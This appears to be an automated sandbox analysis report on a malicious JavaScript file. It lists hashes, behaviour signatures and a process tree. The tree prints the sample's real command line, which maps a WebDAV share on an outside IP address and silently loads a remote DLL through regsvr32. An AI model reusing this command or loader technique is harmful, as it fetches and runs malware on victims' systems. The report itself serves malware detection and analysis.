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Analysis

  • max time kernel
    140s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/07/2024, 13:21

General

  • Target

    728224761729330496.js

  • Size

    4KB

  • MD5

    d4aafbd24341a2bc79ec5c81525045cf

  • SHA1

    b61aa4dfe590a11c4d4f2f1331c2ed13ff603bf6

  • SHA256

    0a68d0456bfac34933119fc7025aecd7dcddb3fc5014b4ea6109bf2f196faf15

  • SHA512

    c4e2741bd040d2324c58e9508500c7f2b6202feb2b7b62d9576cf3c1a28546a3318683dd52a9000310fda42aaa0c6ba6b30d0941301a11312ccdf2d6e59ee0b0

  • SSDEEP

    96:OV4YwQsPlhqXStvuiX8N2UeAkfgtHUeRuF:yQhqiteN2VAkfgtHVs

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\728224761729330496.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4988
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\228731522310956.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3036
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3112

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads